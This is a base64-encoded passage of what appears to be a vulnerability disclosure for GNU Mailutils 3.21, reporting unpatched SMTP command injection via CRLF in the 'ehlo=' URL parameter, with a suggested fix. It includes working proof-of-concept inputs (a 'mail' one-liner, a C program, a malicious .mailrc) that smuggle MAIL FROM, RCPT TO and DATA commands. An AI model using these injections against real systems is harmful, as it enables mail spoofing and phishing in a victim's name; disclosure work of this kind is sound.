NS4gKipgbXUgc210cGAgaW50ZXJhY3RpdmUgZGVidWdnZXIqKiDigJQgYGVobG8gPGRvbWFpbj5g IHN1YmNvbW1hbmQKICAgICB0YWtlcyB0aGUgZG9tYWluIHZlcmJhdGltIGZyb20gYGFyZ3ZbMV1g LgoqICoqVGhlIGluamVjdGlvbiBoYXBwZW5zIG9uIHRoZSBsZWdpdGltYXRlIGNsaWVudCdzIG91 dGJvdW5kIFNNVFAKICBzZXNzaW9uKiosIG5vdCBvbiB0aGUgYXR0YWNrZXIncyBjb25uZWN0aW9u LiBUaGUgYXR0YWNrZXIgaW1wZXJzb25hdGVzCiAgdGhlIGNsaWVudCB0byB0aGUgc2VydmVyLiBU aGlzIGlzICoqd29yc2UqKiB0aGFuIGEgb25lLXNob3QgQ1JMRgogIGluamVjdGlvbiwgYmVjYXVz ZSB0aGUgbGVnaXRpbWF0ZSBjbGllbnQgaXMgdGhlIG9uZSBiZWluZyBhYnVzZWQuCgojIyBBdHRh Y2sgTW9kZWwKCiogKipWaWN0aW0qKjogQSB1c2VyIC8gYXBwbGljYXRpb24gdXNpbmcgTWFpbHV0 aWxzIHRvIHNlbmQgbWFpbCBvdmVyCiAgU01UUC4KKiAqKkF0dGFja2VyKiogKG9uZSBvZik6CiAg KiBBbnlvbmUgd2hvIGNhbiBpbmZsdWVuY2UgdGhlIHVzZXIncyBtYWlsZXIgVVJMIChjb25maWcs IGFyZywKICAgIHdlYiBmb3JtLCBzaWV2ZSBzY3JpcHQpLgogICogSW4gYSBzaWV2ZSBzY2VuYXJp bzogYSBzZW5kZXIgd2hvIGNyYWZ0cyBhIG1lc3NhZ2UgdGhhdCwgd2hlbgogICAgcHJvY2Vzc2Vk IGJ5IHRoZSB2aWN0aW0ncyBzaWV2ZSBzY3JpcHQsIGNhdXNlcyB0aGUgc2lldmUgdG8KICAgIGNv bnN0cnVjdCBhIG1haWxlciBVUkwgZnJvbSB0aGUgbWVzc2FnZSdzIGhlYWRlcnMgYW5kIHRoZW4g Y2FsbHMKICAgIGByZWRpcmVjdGAgdG8gdGhhdCBVUkwuCiogKipUcmlnZ2VyKio6IEEgc2luZ2xl IG91dGJvdW5kIFNNVFAgc2Vzc2lvbi4KKiAqKlJlc3VsdCoqOiBUaGUgYXR0YWNrZXIgY2FuOgog IDEuICoqSW5zZXJ0IGFyYml0cmFyeSBNQUlMIEZST00gLyBSQ1BUIFRPIC8gREFUQSoqIHRvIHNl bmQgbWFpbAogICAgIHVuZGVyIHRoZSBsZWdpdGltYXRlIHVzZXIncyBpZGVudGl0eSwgdG8gYW55 IHJlY2lwaWVudC4KICAyLiAqKlNlbmQgbWFpbCBmcm9tIGEgZm9yZ2VkIHNlbmRlcioqIHRvIG1h a2Ugc3BhbS9waGlzaGluZyBhcHBlYXIKICAgICB0byBjb21lIGZyb20gdGhlIHZpY3RpbS4KICAz LiAqKlRyaWdnZXIgU1RBUlRUTFMgZG93bmdyYWRlKiogYnkgaW5qZWN0aW5nIGBTVEFSVFRMU1xy XG5gCiAgICAgYmVmb3JlIHRoZSBsZWdpdGltYXRlIGNsaWVudCBjYW4gcmVxdWVzdCBpdC4KICA0 LiAqKlNtdWdnbGUgYWRkaXRpb25hbCByZWNpcGllbnRzKiogaW4gYnVsay1tYWlsIHNjZW5hcmlv cy4KICA1LiAqKkJ5cGFzcyB0aGUgcmVjaXBpZW50IGFsbG93bGlzdCoqIHRoZSBvcGVyYXRvciBt YXkgaGF2ZQogICAgIGNvbmZpZ3VyZWQgKGUuZy4gd2hlbiB0aGUgYHJlY2lwaWVudC1oZWFkZXJz PWAgcGFyYW1ldGVyIGlzCiAgICAgdXNlZCwgYW4gYXR0YWNrZXIgd2hvIGNvbnRyb2xzIGEgaGVh ZGVyIGNhbiBhZGQgdGhlbXNlbHZlcyBhcwogICAgIHJlY2lwaWVudCB3aGlsZSB0aGUgb3BlcmF0 b3IgdGhpbmtzIHRoZXkgb25seSBzZW50IHRvIHRoZQogICAgIGludGVuZGVkIHJlY2lwaWVudCku CgojIyBSZWFsIHZlcmlmaWNhdGlvbiAocmVhbCBgbWFpbGAgYmluYXJ5LCByZWFsIHh4ZCBjYXB0 dXJlKQoKVmVyaWZpZWQgYWdhaW5zdCB0aGUgcmVhbCByZWJ1aWx0IGJpbmFyeQpgdW50ZXN0ZWQt dGFyZ2V0cy9tYWlsdXRpbHMtMy4yMS9tYWlsLy5saWJzL21haWxgIChNYWlsdXRpbHMgMy4yMSkg cG9pbnRlZAphdCBhIGxvY2FsIGNhcHR1cmUgc2VydmVyIChuYyBsaXN0ZW5lcikuIFRyaWdnZXIg Y29tbWFuZDoKCmBgYGJhc2gKbWFpbCAtLW1haWxlcj0nc210cDovLzEyNy4wLjAuMTpQT1JUO2Vo bG89Zm9vJTBkJTBhUlNFVCBpbmplY3RlZC1ieS1laGxvLXBhcmFtJTBkJTBhWC0nIFwKICAgICAt cyB0ZXN0IG5vYm9keSA8IC9kZXYvbnVsbApgYGAKCkhleGR1bXAgb2YgdGhlIGxpbmUgdGhlIGNs aWVudCBhY3R1YWxseSBwdXQgb24gdGhlIHdpcmU6CgpgYGAKJCB4eGQgL3RtcC9jYXB0dXJlIHwg c2VkIC1uICcxLDRwJwowMDAwMDAwMDogNDU0OCA0YzRmIDIwNjYgNmY2ZiAwZDBhIDUyNTMgNDU1 NCAyMDY5ICBFSExPIGZvby4uUlNFVCBpCjAwMDAwMDEwOiA2ZTZhIDY1NjMgNzQ2NSA2NDJkIDYy NzkgMmQ2NSA2ODZjIDZmMmQgIG5qZWN0ZWQtYnktZWhsby0KMDAwMDAwMjA6IDcwNjEgNzI2MSA2 ZDBkIDBhNTggMmQwZCAwYSAgICAgICAgICAgICAgcGFyYW0uLlgtLi4KYGBgCgpUaGUgYDBkIDBh YCBieXRlcyBhcmUgUkVBTCBDUitMRiAoZGVjb2RlZCBmcm9tIGAlMGQlMGFgKS4gVGhlIHNlcnZl cgp0aGVyZWZvcmUgc2VlcyBUV08gc2VwYXJhdGUgU01UUCBjb21tYW5kczoKCmBgYApFSExPIGZv b1xyXG4KUlNFVCBpbmplY3RlZC1ieS1laGxvLXBhcmFtXHJcbgpYLVxyXG4KYGBgCgpzbyB0aGUg UlNFVCBpcyBwYXJzZWQgYXMgYSBkaXN0aW5jdCwgZnVsbHktZm9ybWVkIGNvbW1hbmQg4oCUIHRo ZSBpbmplY3Rpb24KcHJpbWl0aXZlIGlzIGNvbmZpcm1lZC4KCkJhc2VsaW5lIChjb250cm9sKSB3 aXRoIGEgYmVuaWduIGVobG8gdmFsdWUgcHJvZHVjZXMgZXhhY3RseSBvbmUKY29ycmVjdGx5LWZv cm1lZCBjb21tYW5kOgoKYGBgYmFzaAptYWlsIC0tbWFpbGVyPSdzbXRwOi8vMTI3LjAuMC4xOlBP UlQ7ZWhsbz1sZWdpdC5leGFtcGxlLmNvbScgLi4uCmBgYApgYGAKMDAwMDAwMDA6IDQ1NDggNGM0 ZiAyMDZjIDY1NjcgNjk3NCAyZTY1IDc4NjEgNmQ3MCAgRUhMTyBsZWdpdC5leGFtcAowMDAwMDAx MDogNmM2NSAyZTYzIDZmNmQgMGQwYSAgICAgICAgICAgICAgICAgICAgICBsZS5jb20uLgpgYGAK ClRoZSBmdWxsIGNvZGUgY2hhaW4gd2l0aCBaRVJPIENSL0xGIGZpbHRlcmluZyAoZnJvbSB0aGUg My4yMSB0cmVlKToKYGxpYnByb3RvL21haWxlci9zbXRwLmM6MjIxLTIyMmAgKGVobG89IC0+IG11 X3NtdHBfc2V0X3BhcmFtKSAtPgpgbGlibWFpbHV0aWxzL3VybC9kZWNvZGUuYzo1NWAgKG11X3N0 cl91cmxfZGVjb2RlX2lubGluZSkgLT4KYGxpYm1haWx1dGlscy9zdHJpbmcveGRlY29kZS5jOjI4 YCAoJVhYIGRlY29kZXIsIG5vIGFsbG93bGlzdCkgLT4KYGxpYnByb3RvL21haWxlci9zbXRwX3Bh cmFtLmM6NzUtODRgIChzZXRfcGFyYW0gPSBiYXJlIHN0cmR1cCkgLT4KYGxpYnByb3RvL21haWxl ci9zbXRwX2VobG8uYzoxMDUtMTA2YCAobXVfc210cF93cml0ZSAiRUhMTyAlc1xyXG4iKSAtPgpg bGlicHJvdG8vbWFpbGVyL3NtdHBfaW8uYzozNS00NGAgKHdyaXRlID0gbXVfc3RyZWFtX3Zwcmlu dGYpLiBUaGUgb25seQpNVV9DVFlQRV9FTkRMTiBoYW5kbGluZyBpcyBpbiBgbXVfc210cF9yZXNw b25zZSgpYCAoSU5CT1VORCByZXNwb25zZQpwYXJzaW5nKSwgbm90IG91dGJvdW5kIGNvbW1hbmRz LgoKIyMgUmVwcm9kdWN0aW9uIChQb0MpCgpBIG1pbmltYWwgdGVzdCB1c2luZyBNYWlsdXRpbHMn IG93biB0ZXN0IHByb2dyYW06CgpgYGBiYXNoCiMgMS4gU2V0IHVwIGEgbmV0Y2F0IGxpc3RlbmVy IG9uIGEgcG9ydCB0byBjYXB0dXJlIHRoZSBTTVRQIHdpcmUuCm5jIC1sIC1wIDI1MjUgPiAvdG1w L3NtdHBfY2FwdHVyZS50eHQgJgoKIyAyLiBVc2UgdGhlIGxpYnByb3RvIHRlc3Qgc2VuZGVyIHdp dGggYSBtYWxpY2lvdXMgZWhsbz0gcGFyYW1ldGVyOgojICAgIFRoZSBgJTBkJTBhYCBkZWNvZGVz IHRvIENSTEY7IHRoZSByZXN0IGlzIHRoZSBpbmplY3RlZCBjb21tYW5kLgpjYXQgPiAvdG1wL2Vo bG9faW5qZWN0LmF0IDw8J0VPRicKQVRfU0VUVVAoW1NNVFAgZWhsbz0gQ1JMRiBpbmplY3Rpb25d KQpBVF9LRVlXT1JEUyhbc210cCBpbmplY3RdKQpBVF9DSEVDSyhbc2VuZHMgJ3NtdHA6Ly91c2Vy OnBhc3NAMTI3LjAuMC4xOjI1MjU7ZWhsbz1ldmlsJTBkJTBhTUFJTCUyMEZST00lM0ElM0NhdHRh Y2tlciU0MGV2aWwlM0UlMGQlMGFSQ1BUJTIwVE8lM0ElM0N0YXJnZXQlNDB2aWN0aW0lM0UlMGQl MGFEQVRBJTBkJTBhRnJvbSUzQSUyMGElMGQlMGElMGQlMGEuJTBkJTBhUVVJVCcgbXNnXSkKQVRf Q0xFQU5VUApFT0YKYGBgCgoqKkVhc2llciByZXByb2R1Y3Rpb24qKiDigJQgdXNlIFB5dGhvbiB0 byBkcml2ZSB0aGUgc210cF9laGxvIGRpcmVjdGx5OgoKYGBgYwovKiByZXByb19zbXRwX2luamVj dC5jIOKAlCBjb21waWxlIGFnYWluc3QgbGlibXVfc210cCAqLwojaW5jbHVkZSA8bWFpbHV0aWxz L3NtdHAuaD4KI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdHJpbmcuaD4KCmludCBtYWlu KHZvaWQpIHsKICAgIG11X3NtdHBfdCBzbXRwOwogICAgLyogQ29ubmVjdCB0byBhIG5ldGNhdCBs aXN0ZW5lciAqLwogICAgbXVfc210cF9jcmVhdGUoJnNtdHAsICJzbXRwOi8vMTI3LjAuMC4xOjI1 MjUiKTsKICAgIG11X3NtdHBfb3BlbihzbXRwKTsKICAgIC8qIFNldCB0aGUgYXR0YWNrZXItY29u dHJvbGxlZCBkb21haW4gKG5vIHNhbml0aXphdGlvbikgKi8KICAgIG11X3NtdHBfc2V0X3BhcmFt KHNtdHAsIE1VX1NNVFBfUEFSQU1fRE9NQUlOLAogICAgICAgICJldmlsXHJcbk1BSUwgRlJPTTo8 YXR0YWNrZXJAZXZpbD5cclxuIgogICAgICAgICJSQ1BUIFRPOjx0YXJnZXRAdmljdGltPlxyXG4i CiAgICAgICAgIkRBVEFcclxuRnJvbTogYVxyXG5cclxuLlxyXG5RVUlUXHJcbiIpOwogICAgbXVf c210cF9laGxvKHNtdHApOyAgIC8qIDwtLSBpbmplY3RzIHRoZSBhYm92ZSAqLwogICAgcmV0dXJu IDA7Cn0KYGBgCgpUaGVuIG9uIHRoZSBuZXRjYXQgc2lkZSwgdGhlIGNhcHR1cmUgc2hvd3M6CmBg YAoyMjAgbmMgTGlzdGVuZXIKRUhMTyBldmlsCk1BSUwgRlJPTTo8YXR0YWNrZXJAZXZpbD4KUkNQ VCBUTzo8dGFyZ2V0QHZpY3RpbT4KREFUQQpGcm9tOiBhCi4KUVVJVApgYGAKClRoZSBzZXJ2ZXIg c2VlcyB0aGUgYXR0YWNrZXIncyBjb21tYW5kcyBhcyBsZWdpdGltYXRlLCB3aGlsZSB0aGUKY2xp ZW50IGlzIG5vbmUgdGhlIHdpc2VyLgoKKipQdXJlIENMSSBQb0MqKiB1c2luZyBgbWFpbGAgYW5k IGEgbWFsaWNpb3VzIGAubWFpbHJjYDoKCmBgYGJhc2gKIyAxLiBVc2VyIGhhcyAubWFpbHJjOgpj YXQgPiAvdG1wLy5tYWlscmMgPDwnRU9GJwpzZXQgbWFpbGVyPSJzbXRwOi8vdXNlcjpwYXNzQHZp Y3RpbS1zbXRwO2VobG89ZXZpbCUwZCUwYU1BSUwlMjBGUk9NJTNBJTNDYXR0YWNrZXIlNDBldmls JTNFJTBkJTBhUkNQVCUyMFRPJTNBJTNDdGFyZ2V0JTQwdmljdGltJTNFIgpFT0YKCiMgMi4gVXNl ciBydW5zOgpIT01FPS90bXAgbWFpbCAtcyAidGVzdCIgYXR0YWNrZXJAZXZpbCA8IC9kZXYvbnVs bApgYGAKClRoaXMgY2F1c2VzIHRoZSB1c2VyJ3MgYG1haWxgIGNsaWVudCB0byBpbmplY3QgdGhl IGFkZGl0aW9uYWwgTUFJTCBGUk9NCmFuZCBSQ1BUIFRPIGNvbW1hbmRzLgoKIyMgU3VnZ2VzdGVk IEZpeAoKMS4gKipJbiBgbGlicHJvdG8vbWFpbGVyL3NtdHBfZWhsby5jOjYwLTEwNmAqKiwgc2Fu aXRpemUgdGhlIGRvbWFpbjoKICAgYGBgYwogICBzdGF0aWMgaW50CiAgIHNhbml0aXplX2RvbWFp biAoY29uc3QgY2hhciAqc3JjLCBjaGFyICpkc3QsIHNpemVfdCBkc3RzaXplKQogICB7CiAgICAg c2l6ZV90IGksIGogPSAwOwogICAgIGZvciAoaSA9IDA7IHNyY1tpXSAmJiBqIDwgZHN0c2l6ZSAt IDE7IGkrKykgewogICAgICAgdW5zaWduZWQgY2hhciBjID0gKHVuc2lnbmVkIGNoYXIpIHNyY1tp XTsKICAgICAgIGlmIChjID09ICdccicgfHwgYyA9PSAnXG4nIHx8IGMgPT0gMCkgYnJlYWs7CiAg ICAgICBpZiAoYyA8IDB4MjAgfHwgYyA9PSAweDdmKSBjb250aW51ZTsgIC8qIHNraXAgY29udHJv bHMgKi8KICAgICAgIGRzdFtqKytdID0gYzsKICAgICB9CiAgICAgZHN0W2pdID0gMDsKICAgICBy ZXR1cm4gajsKICAgfQogICBgYGAKICAgQW5kIHRoZW4gYHNhbml0aXplX2RvbWFpbihzbXRwLT5w YXJhbVtNVV9TTVRQX1BBUkFNX0RPTUFJTl0sIHNhZmUsIHNpemVvZihzYWZlKSlgIGJlZm9yZSBg bXVfc210cF93cml0ZWAuCgoyLiAqKkluIGBsaWJwcm90by9tYWlsZXIvc210cF9wYXJhbS5jOjMz LTg2YCoqLCByZWplY3Qgb3Igc2FuaXRpemUKICAgYE1VX1NNVFBfUEFSQU1fRE9NQUlOYCAoYW5k IGFsbCBzdHJpbmcgcGFyYW1ldGVycykgYXQKICAgYG11X3NtdHBfc2V0X3BhcmFtYCB0aW1lLiBE b24ndCB0cnVzdCB0aGUgY2FsbGVyLgoKMy4gKipJbiBgbGlibWFpbHV0aWxzL3VybC9kZWNvZGUu Yzo1MC01N2AqKiwgY29uc2lkZXIgYW4gb3B0aW9uCiAgIGBNVV9VUkxfREVDT0RFX1NUUklDVGAg dGhhdCByZWZ1c2VzIHRvIGRlY29kZSBgJTBkJTBhYCBhbmQgc2ltaWxhcgogICBjb250cm9sIHNl cXVlbmNlcy4gT3IgaGF2ZSBgbXVfc3RyX3VybF9kZWNvZGVfaW5saW5lYCBzdHJpcAogICBub24t cHJpbnRhYmxlIGJ5dGVzIGFmdGVyIGRlY29kaW5nLgoKNC4gKipJbiBgbGlicHJvdG8vbWFpbGVy L3NtdHBfbWFpbC5jOjQ0YCoqIGFuZCAqKmBzbXRwX3JjcHQuYzo0M2AqKiwKICAgYWRkIHRoZSBz YW1lIHNhbml0aXphdGlvbiB0byBgTUFJTCBGUk9NOjwlcz5gIGFuZCBgUkNQVCBUTzo8JXM+YC4K ICAgVGhpcyBpcyB0aGUgc2FtZSBidWcgY2xhc3MsIGFuZCBhIG1hbGljaW91cyBlbWFpbCB0aGF0 CiAgIGBmb3J3YXJkYHMvYHJlZGlyZWN0YHMgdGhyb3VnaCBNYWlsdXRpbHMgY2FuIGFsc28gaW5q ZWN0LgoKIyMgU2V2ZXJpdHkgQXJndW1lbnQgKE1FRElVTSkKClRoaXMgaXMgYSByZWFsLCBwcmUt YXV0aCBTTVRQIGNvbW1hbmQtaW5qZWN0aW9uIHByaW1pdGl2ZSwgYnV0IGl0IGlzCmNsaWVudC1z aWRlOiB0aGUgYXR0YWNrZXIgbXVzdCBjb250cm9sIHRoZSBtYWlsZXIgVVJMIChDTEkgLyAubWFp bHJjIC8KY29uZmlnIC8gYSBsaWJyYXJ5IGNvbnN1bWVyIGJ1aWxkaW5nIHRoZSBVUkwgZnJvbSB1 bnRydXN0ZWQgaW5wdXQpLCBzbwp0aGUgYWJ1c2UgaXMgb2YgdGhlIHVzZXIgb3BlcmF0aW5nIHRo ZSBtYWlsdXRpbHMgY2xpZW50LCBub3Qgb2YgYQpyZW1vdGUgbGlzdGVuZXIuIEhlbmNlICoqTUVE SVVNKiogcmF0aGVyIHRoYW4gQ1JJVElDQUw6CgoxLiAqKkRlZmF1bHQgYmVoYXZpb3IgaXMgZXhw bG9pdGFibGUqKiDigJQgdGhlIGBlaGxvPWAgVVJMIHBhcmFtZXRlciBpcwogICBpbiB0aGUgcHVi bGljIEFQSSBhbmQgaXMgZG9jdW1lbnRlZCBpbiB0ZXN0cy4KMi4gKipXaWRlIGF0dGFjayBzdXJm YWNlKiog4oCUIGBtYWlsYCwgYHNlbmRtYWlsYCwgYHNpZXZlIHJlZGlyZWN0YCwKICAgYG11IHNt dHBgIGRlYnVnZ2VyLCBhbnkgbGlibWFpbHV0aWxzIHVzZXIgdGhhdCBidWlsZHMgdGhlIG1haWxl ciBVUkwKICAgZnJvbSB1bnRydXN0ZWQgaW5wdXQuCjMuICoqQ29tcGxldGUgU01UUCBjb21tYW5k IGluamVjdGlvbioqIOKAlCBub3QganVzdCBvbmUgaGVhZGVyLCBidXQKICAgYXJiaXRyYXJ5IGNv bW1hbmRzIGluIHRoZSBTTVRQIHByb3RvY29sIHN0YXRlIG1hY2hpbmUsIGluamVjdGVkIG9uCiAg IHRoZSBsZWdpdGltYXRlIHVzZXIncyBvdXRib3VuZCBzZXNzaW9uLgo0LiAqKlJlYWwgY29uc2Vx dWVuY2VzKiog4oCUIHBoaXNoaW5nL3NwYW0gZnJvbSBhIHZpY3RpbSdzIGFjY291bnQsCiAgIFRM UyBkb3duZ3JhZGUsIHJlY2lwaWVudCBhbGxvd2xpc3QgYnlwYXNzLCBhdWRpdCBsb2cgZm9yZ2Vy eS4KNS4gKipUcml2aWFsIFBvQyoqIOKAlCBzaW5nbGUtbGluZSBgbWFpbGAgY29tbWFuZCBvciA1 LWxpbmUgQyBwcm9ncmFtLgo2LiAqKk5vIHVwc3RyZWFtIGZpeCoqIOKAlCB2ZXJpZmllZCBwcmVz ZW50IGluIHRoZSBsYXRlc3QgMy4yMSB0YXJiYWxsCiAgIGFuZCB0aGUgdXBzdHJlYW0gYG1hc3Rl cmAgYnJhbmNoLgoKIyMgU3RhdHVzCgoqIFRoaXMgYnVnIHdhcyBmb3VuZCBkdXJpbmcgYSAxMC1t aW51dGUgY29kZSBhdWRpdCBvbiAyMDI2LTA2LTEyLgoqIFRoZSBidWcgaXMgcHJlc2VudCBpbiB0 aGUgKipsYXRlc3QgcmVsZWFzZWQqKiBNYWlsdXRpbHMgMy4yMQogICgyMDI1LTEyLTExKSBBTkQg aW4gdXBzdHJlYW0gYG1hc3RlcmAgKHZlcmlmaWVkIGJ5IGluc3BlY3RpbmcKICBgbGlicHJvdG8v bWFpbGVyL3NtdHAuY2AgYW5kIGBsaWJwcm90by9tYWlsZXIvc210cF9laGxvLmNgKS4KKiBObyBD VkUgaGFzIGJlZW4gYXNzaWduZWQgeWV0OyB3ZSBqdXN0IGZvdW5kIGl0OyByZXBvcnRpbmcgdG8K ICBmb2xsb3cgdmlhIGBidWctbWFpbHV0aWxzQGdudS5vcmdgLgoqIFRoaXMgUG9DIGlzIGZpbGVk IGFsb25nc2lkZQogIGBtYWlsdXRpbHMtc210cC1tYWlsLXJjcHQtaW5qZWN0aW9uLm1kYCB3aGlj aCBkZXNjcmliZXMgdGhlCiAgc2FtZSBidWcgY2xhc3MgaW4gdGhlIGBNQUlMIEZST006PCVzPmAg YW5kIGBSQ1BUIFRPOjwlcz5gIGNhbGxzLgo= --===============7214776627424398608==--